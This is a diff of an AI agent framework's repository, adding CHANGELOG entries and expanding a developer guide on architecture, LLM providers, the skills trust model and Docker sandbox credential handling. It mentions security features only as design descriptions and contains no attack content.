run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, docker-build]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+186
View File
@@ -7,6 +7,191 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added
- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380))
- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376))
- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369))
- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350))
- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270))
- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271))
### Fixed
- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370))
- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377))
- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346))
- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323))
- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322))
- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312))
### Other
- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342))
- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337))
- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310))
- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300))
## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23
### Other
- Ignore out-of-date generated CI so custom release.yml jobs are allowed
## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23
### Fixed
- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315))
### Other
- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316))
- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240))
## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22
### Added
- update dashboard favicon ([#309](https://github.com/nearai/ironclaw/pull/309))
- add web UI test skill for Chrome extension ([#302](https://github.com/nearai/ironclaw/pull/302))
- implement FullJob routine mode with scheduler dispatch ([#288](https://github.com/nearai/ironclaw/pull/288))
- hot-activate WASM channels, channel-first prompts, unified artifact resolution ([#297](https://github.com/nearai/ironclaw/pull/297))
- add pairing/permission system to all WASM channels and fix extension registry ([#286](https://github.com/nearai/ironclaw/pull/286))
- group chat privacy, channel-aware prompts, and safety hardening ([#285](https://github.com/nearai/ironclaw/pull/285))
- embedded registry catalog and WASM bundle install pipeline ([#283](https://github.com/nearai/ironclaw/pull/283))
- show token usage and cost tracker in gateway status popover ([#284](https://github.com/nearai/ironclaw/pull/284))
- support custom HTTP headers for OpenAI-compatible provider ([#269](https://github.com/nearai/ironclaw/pull/269))
- add smart routing provider for cost-optimized model selection ([#281](https://github.com/nearai/ironclaw/pull/281))
### Fixed
- persist user message at turn start before agentic loop ([#305](https://github.com/nearai/ironclaw/pull/305))
- block send until thread is selected ([#306](https://github.com/nearai/ironclaw/pull/306))
- reload chat history on SSE reconnect ([#307](https://github.com/nearai/ironclaw/pull/307))
- map Esc to interrupt and Ctrl+C to graceful quit ([#267](https://github.com/nearai/ironclaw/pull/267))
### Other
- Fix tool schema OpenAI compatibility ([#301](https://github.com/nearai/ironclaw/pull/301))
- simplify config resolution and consolidate main.rs init ([#287](https://github.com/nearai/ironclaw/pull/287))
- Update image source in README.md
- Add files via upload
- remove ExtensionSource::Bundled, use download-only install for WASM channels ([#293](https://github.com/nearai/ironclaw/pull/293))
- allow OAuth callback to work on remote servers (fixes #186) ([#212](https://github.com/nearai/ironclaw/pull/212))
- add rate limiting for built-in tools (closes #171) ([#276](https://github.com/nearai/ironclaw/pull/276))
- add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) ([#193](https://github.com/nearai/ironclaw/pull/193))
- Feat/html to markdown #106 ([#115](https://github.com/nearai/ironclaw/pull/115))
- adopt agent-market design language for web UI ([#282](https://github.com/nearai/ironclaw/pull/282))
- speed up startup from ~15s to ~2s ([#280](https://github.com/nearai/ironclaw/pull/280))
- consolidate tool approval into single param-aware method ([#274](https://github.com/nearai/ironclaw/pull/274))
## [0.9.0](https://github.com/nearai/ironclaw/compare/v0.8.0...v0.9.0) - 2026-02-21
### Added
- add TEE attestation shield to web gateway UI ([#275](https://github.com/nearai/ironclaw/pull/275))
- configurable tool iterations, auto-approve, and policy fix ([#251](https://github.com/nearai/ironclaw/pull/251))
### Fixed
- add X-Accel-Buffering header to SSE endpoints ([#277](https://github.com/nearai/ironclaw/pull/277))
## [0.8.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.7.0...ironclaw-v0.8.0) - 2026-02-20
### Added
- extension registry with metadata catalog and onboarding integration ([#238](https://github.com/nearai/ironclaw/pull/238))
- *(models)* add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini ([#197](https://github.com/nearai/ironclaw/pull/197))
- wire memory hygiene into the heartbeat loop ([#195](https://github.com/nearai/ironclaw/pull/195))
### Fixed
- persist WASM channel workspace writes across callbacks ([#264](https://github.com/nearai/ironclaw/pull/264))
- consolidate per-module ENV_MUTEX into crate-wide test lock ([#246](https://github.com/nearai/ironclaw/pull/246))
- remove auto-proceed fake user message injection from agent loop ([#255](https://github.com/nearai/ironclaw/pull/255))
- onboarding errors reset flow and remote server auth (#185, #186) ([#248](https://github.com/nearai/ironclaw/pull/248))
- parallelize tool call execution via JoinSet ([#219](https://github.com/nearai/ironclaw/pull/219)) ([#252](https://github.com/nearai/ironclaw/pull/252))
- prevent pipe deadlock in shell command execution ([#140](https://github.com/nearai/ironclaw/pull/140))
- persist turns after approval and add agent-level tests ([#250](https://github.com/nearai/ironclaw/pull/250))
### Other
- add automated PR labeling system ([#253](https://github.com/nearai/ironclaw/pull/253))
- update CLAUDE.md for recently merged features ([#183](https://github.com/nearai/ironclaw/pull/183))
## [0.7.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.6.0...ironclaw-v0.7.0) - 2026-02-19
### Added
- extend lifecycle hooks with declarative bundles ([#176](https://github.com/nearai/ironclaw/pull/176))
- support per-request model override in /v1/chat/completions ([#103](https://github.com/nearai/ironclaw/pull/103))
### Fixed
- harden openai-compatible provider, approval replay, and embeddings defaults ([#237](https://github.com/nearai/ironclaw/pull/237))
- Network Security Findings ([#201](https://github.com/nearai/ironclaw/pull/201))
### Added
- Refactored OpenAI-compatible chat completion routing to use the rig adapter and `RetryProvider` composition for custom base URL usage.
- Added Ollama embeddings provider support (`EMBEDDING_PROVIDER=ollama`, `OLLAMA_BASE_URL`) in workspace embeddings.
- Added migration `V9__flexible_embedding_dimension.sql` for flexible embedding vector dimensions.
### Changed
- Changed default sandbox image to `ironclaw-worker:latest` in config/settings/sandbox defaults.
- Improved tool-message sanitization and provider compatibility handling across NEAR AI, rig adapter, and shared LLM provider code.
### Fixed
- Fixed approval-input aliases (`a`, `/approve`, `/always`, `/deny`, etc.) in submission parsing.
- Fixed multi-tool approval resume flow by preserving and replaying deferred tool calls so all prior `tool_use` IDs receive matching `tool_result` messages.
- Fixed REPL quit/exit handling to route shutdown through the agent loop for graceful termination.
## [0.6.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.5.0...ironclaw-v0.6.0) - 2026-02-19
### Added
@@ -94,6 +279,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Bump MSRV to 1.92, add GCP deployment files ([#40](https://github.com/nearai/ironclaw/pull/40))
- Add OpenAI-compatible HTTP API (/v1/chat/completions, /v1/models) ([#31](https://github.com/nearai/ironclaw/pull/31))
## [0.1.3](https://github.com/nearai/ironclaw/compare/v0.1.2...v0.1.3) - 2026-02-12
### Other
+218 -331
View File
@@ -13,14 +13,17 @@
### Features
- **Multi-channel input**: TUI (Ratatui), HTTP webhooks, WASM channels (Telegram, Slack), web gateway
- **Parallel job execution** with state machine and self-repair for stuck jobs
- **Sandbox execution**: Docker container isolation with orchestrator/worker pattern
- **Sandbox execution**: Docker container isolation with network proxy and credential injection
- **Claude Code mode**: Delegate jobs to Claude CLI inside containers
- **Skills system**: SKILL.md prompt extensions with trust model, tool attenuation, and ClawHub registry
- **Routines**: Scheduled (cron) and reactive (event, webhook) task execution
- **Web gateway**: Browser UI with SSE/WebSocket real-time streaming
- **Extension management**: Install, auth, activate MCP/WASM extensions
- **Extensible tools**: Built-in tools, WASM sandbox, MCP client, dynamic builder
- **Persistent memory**: Workspace with hybrid search (FTS + vector via RRF)
- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection
- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection, shell env scrubbing
- **Multi-provider LLM**: NEAR AI, OpenAI, Anthropic, Ollama, OpenAI-compatible, Tinfoil private inference
- **Setup wizard**: 7-step interactive onboarding for first-run configuration
- **Heartbeat system**: Proactive periodic execution with checklist
## Build & Test
@@ -29,7 +32,7 @@
# Format code
cargo fmt
# Lint (address warnings before committing)
# Lint (fix ALL warnings before committing, including pre-existing ones)
cargo clippy --all --benches --tests --examples --all-features
# Run all tests
@@ -64,6 +67,7 @@ src/
│ ├── context_monitor.rs # Memory pressure detection
│ ├── undo.rs # Turn-based undo/redo with checkpoints
│ ├── submission.rs # Submission parsing (undo, redo, compact, clear, etc.)
│ ├── dispatcher.rs # Skill-aware job dispatching
│ ├── task.rs # Sub-task execution framework
│ ├── routine.rs # Routine types (Trigger, Action, Guardrails)
│ └── routine_engine.rs # Routine execution (cron ticker, event matcher)
@@ -113,11 +117,18 @@ src/
│ ├── policy.rs # PolicyRule system with severity/actions
│ └── leak_detector.rs # Secret detection (API keys, tokens, etc.)
├── llm/ # LLM integration (NEAR AI only)
├── llm/ # LLM integration (multi-provider)
│ ├── mod.rs # Provider factory, LlmBackend enum
│ ├── provider.rs # LlmProvider trait, message types
│ ├── nearai.rs # NEAR AI chat-api implementation
│ ├── nearai_chat.rs # NEAR AI Chat Completions provider (session token + API key auth)
│ ├── reasoning.rs # Planning, tool selection, evaluation
── session.rs # Session token management with auto-renewal
── session.rs # Session token management with auto-renewal
│ ├── circuit_breaker.rs # Circuit breaker for provider failures
│ ├── retry.rs # Retry with exponential backoff
│ ├── failover.rs # Multi-provider failover chain
│ ├── response_cache.rs # LLM response caching
│ ├── costs.rs # Token cost tracking
│ └── rig_adapter.rs # Rig framework adapter
├── tools/ # Extensible tool system
│ ├── tool.rs # Tool trait, ToolOutput, ToolError
@@ -131,6 +142,7 @@ src/
│ │ ├── job.rs # CreateJob, ListJobs, JobStatus, CancelJob
│ │ ├── routine.rs # routine_create/list/update/delete/history
│ │ ├── extension_tools.rs # Extension install/auth/activate/remove
│ │ ├── skill_tools.rs # skill_list/search/install/remove tools
│ │ └── marketplace.rs, ecommerce.rs, taskrabbit.rs, restaurant.rs (stubs)
│ ├── builder/ # Dynamic tool building
│ │ ├── core.rs # BuildRequirement, SoftwareType, Language
@@ -180,11 +192,38 @@ src/
│ ├── success.rs # SuccessEvaluator trait, RuleBasedEvaluator, LlmEvaluator
│ └── metrics.rs # MetricsCollector, QualityMetrics
├── sandbox/ # Docker execution sandbox
│ ├── mod.rs # Public API, default allowlist
│ ├── config.rs # SandboxConfig, SandboxPolicy enum
│ ├── manager.rs # SandboxManager orchestration
│ ├── container.rs # ContainerRunner, Docker lifecycle
│ ├── error.rs # SandboxError types
│ └── proxy/ # Network proxy for containers
│ ├── mod.rs # NetworkProxyBuilder
│ ├── http.rs # HttpProxy, CredentialResolver trait
│ ├── policy.rs # NetworkPolicyDecider trait
│ └── allowlist.rs # DomainAllowlist validation
├── secrets/ # Secrets management
│ ├── crypto.rs # AES-256-GCM encryption
│ ├── store.rs # Secret storage
│ └── types.rs # Credential types
├── setup/ # Onboarding wizard (spec: src/setup/README.md)
│ ├── mod.rs # Entry point, check_onboard_needed()
│ ├── wizard.rs # 7-step interactive wizard
│ ├── channels.rs # Channel setup helpers
│ └── prompts.rs # Terminal prompts (select, confirm, secret)
├── skills/ # SKILL.md prompt extension system
│ ├── mod.rs # Core types (SkillTrust, LoadedSkill)
│ ├── registry.rs # SkillRegistry: discover, install, remove
│ ├── selector.rs # Deterministic scoring prefilter
│ ├── attenuation.rs # Trust-based tool ceiling
│ ├── gating.rs # Requirement checks (bins, env, config)
│ ├── parser.rs # SKILL.md frontmatter + markdown parser
│ └── catalog.rs # ClawHub registry client
└── history/ # Persistence
├── store.rs # PostgreSQL repositories
└── analytics.rs # Aggregation queries (JobStats, ToolStats)
@@ -214,6 +253,7 @@ When designing new features or systems, always prefer generic/extensible archite
- `LlmProvider` - Add new LLM backends
- `SuccessEvaluator` - Custom evaluation logic
- `EmbeddingProvider` - Add embedding backends (workspace search)
- `NetworkPolicyDecider` - Custom network access policies for sandbox containers
### Tool Implementation
```rust
@@ -252,6 +292,43 @@ Pending -> InProgress -> Completed -> Submitted -> Accepted
\-> Failed
```
### Code Style
- Use `crate::` imports, not `super::`
- No `pub use` re-exports unless exposing to downstream consumers
- Prefer strong types over strings (enums, newtypes)
- Keep functions focused, extract helpers when logic is reused
- Comments for non-obvious logic only
### Review & Fix Discipline
Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback.
**Fix the pattern, not just the instance:** When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix.
**Propagate architectural fixes to satellite types:** If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase.
**Schema translation is more than DDL:** When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for:
- **Indexes** -- diff `CREATE INDEX` statements between the two schemas
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`)
**Feature flag testing:** When adding feature-gated code, test compilation with each feature in isolation:
```bash
cargo check # default features
cargo check --no-default-features --features libsql # libsql only
cargo check --all-features # all features
```
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
**Mechanical verification before committing:** Run these checks on changed files before committing:
- `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
- `grep -rn 'super::' <files>` -- use `crate::` imports
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
## Configuration
Environment variables (see `.env.example`):
@@ -263,10 +340,14 @@ LIBSQL_PATH=~/.ironclaw/ironclaw.db # libSQL local path (default)
# LIBSQL_URL=libsql://xxx.turso.io # Turso cloud (optional)
# LIBSQL_AUTH_TOKEN=xxx # Required with LIBSQL_URL
# NEAR AI (required)
NEARAI_SESSION_TOKEN=sess_...
NEARAI_MODEL=claude-3-5-sonnet-20241022
# NEAR AI (when LLM_BACKEND=nearai, the default)
# Two auth modes: session token (default) or API key
# Session token auth (default): uses browser OAuth on first run
NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
NEARAI_BASE_URL=https://private.near.ai
# API key auth: set NEARAI_API_KEY, base URL defaults to cloud-api.near.ai
# NEARAI_API_KEY=... # API key from cloud.near.ai
NEARAI_MODEL=claude-3-5-sonnet-20241022
# Agent settings
AGENT_NAME=ironclaw
@@ -297,6 +378,10 @@ SANDBOX_ENABLED=true
SANDBOX_IMAGE=ironclaw-worker:latest
SANDBOX_MEMORY_LIMIT_MB=512
SANDBOX_TIMEOUT_SECS=1800
SANDBOX_CPU_LIMIT=1.0 # CPU cores per container
SANDBOX_NETWORK_PROXY=true # Enable network proxy for containers
SANDBOX_PROXY_PORT=8080 # Proxy listener port
SANDBOX_DEFAULT_POLICY=workspace_write # ReadOnly, WorkspaceWrite, FullAccess
# Claude Code mode (runs inside sandbox containers)
CLAUDE_CODE_ENABLED=false
@@ -308,16 +393,29 @@ CLAUDE_CODE_CONFIG_DIR=/home/worker/.claude
ROUTINES_ENABLED=true
ROUTINES_CRON_INTERVAL=60 # Tick interval in seconds
ROUTINES_MAX_CONCURRENT=3
# Skills system
SKILLS_ENABLED=true
SKILLS_MAX_TOKENS=4000 # Max prompt budget per turn
SKILLS_CATALOG_URL=https://clawhub.dev # ClawHub registry URL
SKILLS_AUTO_DISCOVER=true # Scan skill directories on startup
# Tinfoil private inference
TINFOIL_API_KEY=... # Required when LLM_BACKEND=tinfoil
TINFOIL_MODEL=kimi-k2-5 # Default model
```
### NEAR AI Provider
### LLM Providers
Uses the NEAR AI chat-api (`https://api.near.ai/v1/responses`) which provides:
- Unified access to multiple models (OpenAI, Anthropic, etc.)
- User authentication via session tokens
- Usage tracking and billing through NEAR AI
IronClaw supports multiple LLM backends via the `LLM_BACKEND` env var: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, and `tinfoil`.
Session tokens have the format `sess_xxx` (37 characters). They are authenticated against the NEAR AI auth service.
**NEAR AI** -- Uses the Chat Completions API with dual auth support. Session token auth (default): authenticates with session tokens (`sess_xxx`) obtained via browser OAuth (GitHub/Google), base URL defaults to `https://private.near.ai`. API key auth: set `NEARAI_API_KEY` (from `cloud.near.ai`), base URL defaults to `https://cloud-api.near.ai`. Both modes use the same Chat Completions endpoint. Tool messages are flattened to plain text for compatibility. Set `NEARAI_SESSION_TOKEN` env var for hosting providers that inject tokens via environment.
**NEAR AI Cloud** -- Uses the OpenAI-compatible Chat Completions API (`https://cloud-api.near.ai/v1/chat/completions`). Authenticates with API keys from `cloud.near.ai`. Auto-selected when `NEARAI_API_KEY` is set (or explicitly via `NEARAI_API_MODE=chat_completions`). Tool messages are flattened to plain text for compatibility. Configure with `NEARAI_API_KEY` and `NEARAI_BASE_URL` (default: `https://cloud-api.near.ai`).
**OpenAI-compatible** -- Any endpoint that speaks the OpenAI API (vLLM, LiteLLM, OpenRouter, etc.). Configure with `LLM_BASE_URL`, `LLM_API_KEY` (optional), `LLM_MODEL`. Set `LLM_EXTRA_HEADERS` to inject custom HTTP headers into every request (format: `Key:Value,Key2:Value2`), useful for OpenRouter attribution headers like `HTTP-Referer` and `X-Title`.
**Tinfoil** -- Private inference via `https://inference.tinfoil.sh/v1`. Runs models inside hardware-attested TEEs so neither Tinfoil nor the cloud provider can see prompts or responses. Uses the OpenAI-compatible Chat Completions API. Configure with `TINFOIL_API_KEY` and `TINFOIL_MODEL` (default: `kimi-k2-5`).
## Database
@@ -386,22 +484,7 @@ Both backends implement this trait. PostgreSQL delegates to the existing `Store`
- `tool_failures` - Self-repair tracking
- `secrets`, `wasm_tools`, `tool_capabilities` - Extension infrastructure
### Configuration
```bash
# Backend selection (default: postgres)
DATABASE_BACKEND=libsql
# PostgreSQL
DATABASE_URL=postgres://user:pass@localhost/ironclaw
# libSQL (embedded)
LIBSQL_PATH=~/.ironclaw/ironclaw.db # Default path
# libSQL (Turso cloud sync)
LIBSQL_URL=libsql://your-db.turso.io
LIBSQL_AUTH_TOKEN=your-token # Required when LIBSQL_URL is set
```
Database configuration: see Configuration section above.
### Current Limitations (libSQL backend)
@@ -419,6 +502,7 @@ All external tool output passes through `SafetyLayer`:
1. **Sanitizer** - Detects injection patterns, escapes dangerous content
2. **Validator** - Checks length, encoding, forbidden patterns
3. **Policy** - Rules with severity (Critical/High/Medium/Low) and actions (Block/Warn/Review/Sanitize)
4. **Leak Detector** - Scans for 15+ secret patterns (API keys, tokens, private keys, connection strings) at two points: tool output before it reaches the LLM, and LLM responses before they reach the user. Actions per pattern: Block (reject entirely), Redact (mask the secret), or Warn (flag but allow)
Tool outputs are wrapped before reaching LLM:
```xml
@@ -427,6 +511,99 @@ Tool outputs are wrapped before reaching LLM:
</tool_output>
```
### Shell Environment Scrubbing
The shell tool (`src/tools/builtin/shell.rs`) scrubs sensitive environment variables before executing commands, preventing secrets from leaking through `env`, `printenv`, or `$VAR` expansion. The sanitizer (`src/safety/sanitizer.rs`) also detects command injection patterns (chained commands, subshells, path traversal) and blocks or escapes them based on policy rules.
## Skills System
Skills are SKILL.md files that extend the agent's prompt with domain-specific instructions. Each skill is a YAML frontmatter block (metadata, activation criteria, required tools) followed by a markdown body that gets injected into the LLM context when the skill activates.
### Trust Model
| Trust Level | Source | Tool Access |
|-------------|--------|-------------|
| **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | All tools available to the agent |
| **Installed** | Downloaded from ClawHub registry | Read-only tools only (no shell, file write, HTTP) |
### SKILL.md Format
```yaml
---
name: my-skill
version: 0.1.0
description: Does something useful
activation:
patterns:
- "deploy to.*production"
keywords:
- "deployment"
max_context_tokens: 2000
metadata:
openclaw:
requires:
bins: [docker, kubectl]
env: [KUBECONFIG]
---
# Deployment Skill
Instructions for the agent when this skill activates...
```
### Selection Pipeline
1. **Gating** -- Check binary/env/config requirements; skip skills whose prerequisites are missing
2. **Scoring** -- Deterministic scoring against message content using keywords, tags, and regex patterns
3. **Budget** -- Select top-scoring skills that fit within `SKILLS_MAX_TOKENS` prompt budget
4. **Attenuation** -- Apply trust-based tool ceiling; installed skills lose access to dangerous tools
### Skill Tools
Four built-in tools for managing skills at runtime:
- **`skill_list`** -- List all discovered skills with trust level and status
- **`skill_search`** -- Search ClawHub registry for available skills
- **`skill_install`** -- Download and install a skill from ClawHub
- **`skill_remove`** -- Remove an installed skill
### Skill Directories
- `~/.ironclaw/skills/` -- User's global skills (trusted)
- `<workspace>/skills/` -- Per-workspace skills (trusted)
- `~/.ironclaw/installed_skills/` -- Registry-installed skills (installed trust)
### Testing Skills
- `skills/web-ui-test/` -- Manual test checklist for the web gateway UI via Claude for Chrome extension. Covers connection, chat, skills search/install/remove, and other tabs.
Skills configuration: see Configuration section above.
## Docker Sandbox
The `src/sandbox/` module provides Docker-based isolation for job execution with a network proxy that controls outbound access and injects credentials.
### Sandbox Policies
| Policy | Filesystem | Network | Use Case |
|--------|-----------|---------|----------|
| **ReadOnly** | Read-only workspace mount | Allowlisted domains only | Analysis, code review |
| **WorkspaceWrite** | Read-write workspace mount | Allowlisted domains only | Code generation, file edits |
| **FullAccess** | Full filesystem | Unrestricted | Trusted admin tasks |
### Network Proxy
Containers route all HTTP/HTTPS traffic through a host-side proxy (`src/sandbox/proxy/`):
- **Domain allowlist** -- Only allowlisted domains are reachable (default: package registries, docs sites, GitHub, common APIs)
- **Credential injection** -- The `CredentialResolver` trait injects auth headers into proxied requests so secrets never enter the container environment
- **CONNECT tunnel** -- HTTPS traffic uses CONNECT method; the proxy validates the target domain against the allowlist before establishing the tunnel
- **Policy decisions** -- The `NetworkPolicyDecider` trait allows custom logic for allow/deny/inject decisions per request
### Zero-Exposure Credential Model
Secrets (API keys, tokens) are stored encrypted on the host and injected into HTTP requests by the proxy at transit time. Container processes never have access to raw credential values, preventing exfiltration even if container code is compromised.
Sandbox configuration: see Configuration section above.
## Testing
Tests are in `mod tests {}` blocks at the bottom of each file. Run specific module tests:
@@ -451,164 +628,13 @@ Key test patterns:
7. **Webhook trigger endpoint** - Routines webhook trigger not yet exposed in web gateway
8. **Full channel status view** - Gateway status widget exists, but no per-channel connection dashboard
### Completed
## Tool Architecture
-**Workspace integration** - Memory tools registered, workspace passed to Agent and heartbeat
-**WASM sandboxing** - Full implementation in `tools/wasm/` with fuel metering, memory limits, capabilities
-**Dynamic tool building** - `tools/builder/` has LlmSoftwareBuilder with iterative build loop
-**HTTP webhook security** - Secret validation implemented, proper error handling (no panics)
-**Embeddings integration** - OpenAI and NEAR AI providers wired to workspace for semantic search
-**Workspace system prompt** - Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) injected into LLM context
-**Heartbeat notifications** - Route through channel manager (broadcast API) instead of logging-only
-**Auto-context compaction** - Triggers automatically when context exceeds threshold
-**Embedding backfill** - Runs on startup when embeddings provider is enabled
-**Clippy clean** - All warnings addressed via config struct refactoring
-**Tool approval enforcement** - Tools with `requires_approval()` (shell, http, file write/patch, build_software) now gate execution, track auto-approved tools per session
-**Tool definition refresh** - Tool definitions refreshed each iteration so newly built tools become visible in same session
-**Worker tool call handling** - Uses `respond_with_tools()` to properly execute tool calls when `select_tools()` returns empty
-**Gateway control plane** - Web gateway with 40+ API endpoints, SSE/WebSocket
-**Web Control UI** - Browser-based dashboard with chat, memory, jobs, logs, extensions, routines
-**Slack/Telegram channels** - Implemented as WASM tools
-**Docker sandbox** - Orchestrator/worker containers with per-job auth
-**Claude Code mode** - Delegate jobs to Claude CLI inside containers
-**Routines system** - Cron, event, webhook, and manual triggers with guardrails
-**Extension management** - Install, auth, activate MCP/WASM extensions via CLI and web UI
-**libSQL/Turso backend** - Database trait abstraction (`src/db/`), feature-gated dual backend support (postgres/libsql), embedded SQLite for zero-dependency local mode
**Keep tool-specific logic out of the main agent codebase.** The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through `capabilities.json` files (API endpoints, credentials, rate limits, auth setup). Service-specific auth flows, CLI commands, and configuration do not belong in the main agent.
## Adding a New Tool
Tools can be built as **WASM** (sandboxed, credential-injected, single binary) or **MCP servers** (ecosystem of pre-built servers, any language, but no sandbox). Both are first-class via `ironclaw tool install`. Auth is declared in capabilities files with OAuth and manual token entry support.
### Built-in Tools (Rust)
1. Create `src/tools/builtin/my_tool.rs`
2. Implement the `Tool` trait
3. Add `mod my_tool;` and `pub use` in `src/tools/builtin/mod.rs`
4. Register in `ToolRegistry::register_builtin_tools()` in `registry.rs`
5. Add tests
### WASM Tools (Recommended)
WASM tools are the preferred way to add new capabilities. They run in a sandboxed environment with explicit capabilities.
